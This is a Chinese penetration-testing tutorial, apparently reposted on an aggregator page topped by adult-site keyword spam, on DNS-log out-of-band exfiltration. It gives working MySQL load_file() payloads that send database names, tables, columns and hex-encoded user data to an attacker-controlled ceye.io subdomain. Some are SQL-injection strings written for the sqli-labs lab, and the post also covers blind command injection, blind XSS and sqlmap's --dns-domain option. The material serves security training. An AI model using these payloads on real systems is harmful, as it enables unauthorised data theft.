日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

渗透测试中dns log的使用

發(fā)布時(shí)間:2024/1/23 编程问答 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 渗透测试中dns log的使用 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

一、預(yù)備知識(shí)

dns(域名解析):

域名解析是把域名指向網(wǎng)站空間IP,讓人們通過(guò)注冊(cè)的域名可以方便地訪問(wèn)到網(wǎng)站的一種服務(wù)。IP地址是網(wǎng)絡(luò)上標(biāo)識(shí)站點(diǎn)的數(shù)字地址,為了方便記憶,采用域名來(lái)代替IP地址標(biāo)識(shí)站點(diǎn)地址。域名解析就是域名到IP地址的轉(zhuǎn)換過(guò)程。域名的解析工作由DNS服務(wù)器完成。

域名解析也叫域名指向、服務(wù)器設(shè)置、域名配置以及反向IP登記等等。說(shuō)的簡(jiǎn)單點(diǎn)就是將好記的域名解析成IP,服務(wù)由DNS服務(wù)器完成,是把域名解析到一個(gè)IP地址,然后在此IP地址的主機(jī)上將一個(gè)子目錄與域名綁定。

互聯(lián)網(wǎng)中的地址是數(shù)字的IP地址,域名解析的作用主要就是為了便于記憶。(摘自百度百科)

dns服務(wù)器的端口是53。

二、原理

我們輸入域名之后 我們的本地域名服務(wù)器會(huì)把在自身服務(wù)器里面查詢是否存在ip地址 如果沒(méi)有則發(fā)送到根域名服務(wù)器 如果根域名服務(wù)器里面有對(duì)應(yīng)的記錄則返回 如果沒(méi)有則告訴本地域名服務(wù)器去向頂級(jí)域名服務(wù)器查找。

dns在解析的時(shí)候會(huì)留下記錄。

簡(jiǎn)單來(lái)說(shuō):

當(dāng)dns服務(wù)器是我們自己的時(shí),我們就可以通過(guò)查看日志來(lái)查詢一些信息


?

三、準(zhǔn)備

  • dns服務(wù)器(vps搭建)
  • dns指向我們自己搭建的dns服務(wù)器的域名
  • 或者也可以使用網(wǎng)上的平臺(tái),比如http://ceye.io


    ?

    四、用處

  • sql注入(主要)
  • 命令注入
  • xss盲打

  • ?

    ?五、實(shí)驗(yàn):sql注入

    dns log在sql注入中的使用主要因?yàn)閭鹘y(tǒng)sql注入需要向服務(wù)器發(fā)送大量數(shù)據(jù)包,容易被檢測(cè)、延時(shí)注入花費(fèi)時(shí)間長(zhǎng)等原因

    在http://ceye.io這個(gè)平臺(tái)注冊(cè)后它會(huì)給你一個(gè)三級(jí)域名,可以先訪問(wèn)任意四級(jí)域名試試

    在網(wǎng)站上查詢到了訪問(wèn)的dns記錄

    windows的共享功能同樣也會(huì)訪問(wèn)dns服務(wù)器

    關(guān)于mysql load_file()函數(shù):

    在MySQL中,LOAD_FILE()函數(shù)讀取一個(gè)文件并將其內(nèi)容作為字符串返回。

    ?LOAD_FILE(file_name)?

    其中file_name是文件的完整路徑。

    這個(gè)函數(shù)也可以用來(lái)發(fā)送dns解析請(qǐng)求,這就是關(guān)鍵

    load_file()使用限制:

    1.文件必須位于服務(wù)器主機(jī)上。

    2.你必須具有該FILE權(quán)限才能讀取該文件。擁有該FILE權(quán)限的用戶可以讀取服務(wù)器主機(jī)上的任何文件,該文件是world-readable的或MySQL服務(wù)器可讀的。

    3.文件必須是所有人都可讀的,并且它的大小小于max_allowed_packet字節(jié)。

    你可以這樣檢查:?SHOW VARIABLES?LIKE?'max_allowed_packet';?

    如果secure_file_priv系統(tǒng)變量被設(shè)置為非空目錄名,則要加載的文件必須位于該目錄中。

    你可以這樣檢查:?SHOW VARIABLES?LIKE?'secure_file_priv';

    ?

    可以在mysql配置文件my.ini中更改secure_file_priv的值,如果沒(méi)有這個(gè)參數(shù)可以手動(dòng)添加

    使用load_file()讀取文件:?select?load_file("d:\\1.txt");?

    ?

    使用load_file()發(fā)送dns請(qǐng)求:?select?load_file("\\\\ccc.xxxx.ceye.io\\aaa");?

    '\'在sql語(yǔ)句中要轉(zhuǎn)義,aaa可以改成任意字母。

    使用load_file()發(fā)送dns請(qǐng)求查詢數(shù)據(jù)庫(kù):?select?load_file(concat("\\\\",(select?database()),".xxxx.ceye.io\\aaa"));?

    sql語(yǔ)句在雙引號(hào)內(nèi)不執(zhí)行,所以要用concat()函數(shù)拼接。

    ?查詢數(shù)據(jù)表:

    select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));

    查詢字段:

    select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));

    ?

    查詢數(shù)據(jù):

    select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));

    需要注意的是dns服務(wù)器無(wú)法接收符號(hào),當(dāng)查詢的數(shù)據(jù)中存在符號(hào)時(shí)需要編碼,這里用hex()編碼(ord()一次只能編碼一個(gè)字符)。

    ?

    select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));

    再使用sqli-labs第五關(guān)做實(shí)驗(yàn)

    payload:

    ?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+

    ?

    ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

    ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 1,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

    ?

    ?id=1' and if((select load_file(concat('\\\\',(select hex(email_id) from emails limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

    由于查詢的數(shù)據(jù)存在@符號(hào),使用了hex()函數(shù)

    解碼得Dumb@dhakkan.com


    ?

    ?六、其他實(shí)驗(yàn)

    1.命令注入

    適用于無(wú)回顯的命令注入點(diǎn)

    使用dvwa靶場(chǎng)的命令注入模塊實(shí)驗(yàn)

    假設(shè)該注入點(diǎn)無(wú)回顯

    查詢到了我們輸入的變量

    windows常用變量:

    • //變量? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 類(lèi)型? ?? ? 描述
    • //%ALLUSERSPROFILE%? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回“所有用戶”配置文件的位置。
    • //%APPDATA%? ?? ?? ?? ?? ?  ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回默認(rèn)情況下應(yīng)用程序存儲(chǔ)數(shù)據(jù)的位置。
    • //%CD%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回當(dāng)前目錄字符串。
    • //%CMDCMDLINE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回用來(lái)啟動(dòng)當(dāng)前的 Cmd.exe 的準(zhǔn)確命令行。
    • //%CMDEXTVERSION%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回當(dāng)前的“命令處理程序擴(kuò)展”的版本號(hào)。
    • //%COMPUTERNAME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回計(jì)算機(jī)的名稱。
    • //%COMSPEC%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回命令行解釋器可執(zhí)行程序的準(zhǔn)確路徑。
    • //%DATE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回當(dāng)前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關(guān) date 命令的詳細(xì)信息,請(qǐng)參閱 Date。
    • //%ERRORLEVEL%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回上一條命令的錯(cuò)誤代碼。通常用非零值表示錯(cuò)誤。
    • //%HOMEDRIVE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回連接到用戶主目錄的本地工作站驅(qū)動(dòng)器號(hào)。基于主目錄值而設(shè)置。用戶主目錄是在“本地用戶和組”中指定的。
    • //%HOMEPATH%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回用戶主目錄的完整路徑。基于主目錄值而設(shè)置。用戶主目錄是在“本地用戶和組”中指定的。
    • //%HOMESHARE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回用戶的共享主目錄的網(wǎng)絡(luò)路徑。基于主目錄值而設(shè)置。用戶主目錄是在“本地用戶和組”中指定的。
    • //%LOGONSERVER%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回驗(yàn)證當(dāng)前登錄會(huì)話的域控制器的名稱。
    • //%NUMBER_OF_PROCESSORS%? ? ? ? ? ?系統(tǒng)? ?? ? 指定安裝在計(jì)算機(jī)上的處理器的數(shù)目。
    • //%OS%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回操作系統(tǒng)名稱。Windows 2000 顯示其操作系統(tǒng)為 Windows_NT。
    • //%PATH%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 指定可執(zhí)行文件的搜索路徑。
    • //%PATHEXT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回操作系統(tǒng)認(rèn)為可執(zhí)行的文件擴(kuò)展名的列表。
    • //%PROCESSOR_ARCHITECTURE%? ? ? ?系統(tǒng)? ?? ? 返回處理器的芯片體系結(jié)構(gòu)。值:x86 或 IA64(基于 Itanium)。
    • //%PROCESSOR_IDENTFIER%? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回處理器說(shuō)明。
    • //%PROCESSOR_LEVEL%? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回計(jì)算機(jī)上安裝的處理器的型號(hào)。
    • //%PROCESSOR_REVISION%? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回處理器的版本號(hào)。
    • //%PROMPT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回當(dāng)前解釋程序的命令提示符設(shè)置。由 Cmd.exe 生成。
    • //%RANDOM%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回 0 到 32767 之間的任意十進(jìn)制數(shù)字。由 Cmd.exe 生成。
    • //%SYSTEMDRIVE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回包含 Windows server operating system 根目錄(即系統(tǒng)根目錄)的驅(qū)動(dòng)器。
    • //%SYSTEMROOT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回 Windows server operating system 根目錄的位置。
    • //%TEMP%和%TMP%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)和用戶 返回對(duì)當(dāng)前登錄用戶可用的應(yīng)用程序所使用的默認(rèn)臨時(shí)目錄。有些應(yīng)用程序需要 TEMP,而其他應(yīng)用程序則需要 TMP。
    • //%TIME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統(tǒng)? ?? ? 返回當(dāng)前時(shí)間。使用與time /t命令相同的格式。由Cmd.exe生成。有關(guān)time命令的詳細(xì)信息,請(qǐng)參閱 Time。
    • //%USERDOMAIN%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回包含用戶帳戶的域的名稱。
    • //%USERNAME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回當(dāng)前登錄的用戶的名稱。
    • //%USERPROFILE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回當(dāng)前用戶的配置文件的位置。
    • //%WINDIR%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統(tǒng)? ?? ? 返回操作系統(tǒng)目錄的位置。

    2.xss盲打

    使用pikachu的xss盲打模塊

    收到請(qǐng)求說(shuō)明觸發(fā)了插入的js代碼


    ?

    七、sqlmap使用dns

    sqlmap可以使用--dns-domain參數(shù)實(shí)現(xiàn)自動(dòng)化dns注入

    總結(jié)

    以上是生活随笔為你收集整理的渗透测试中dns log的使用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。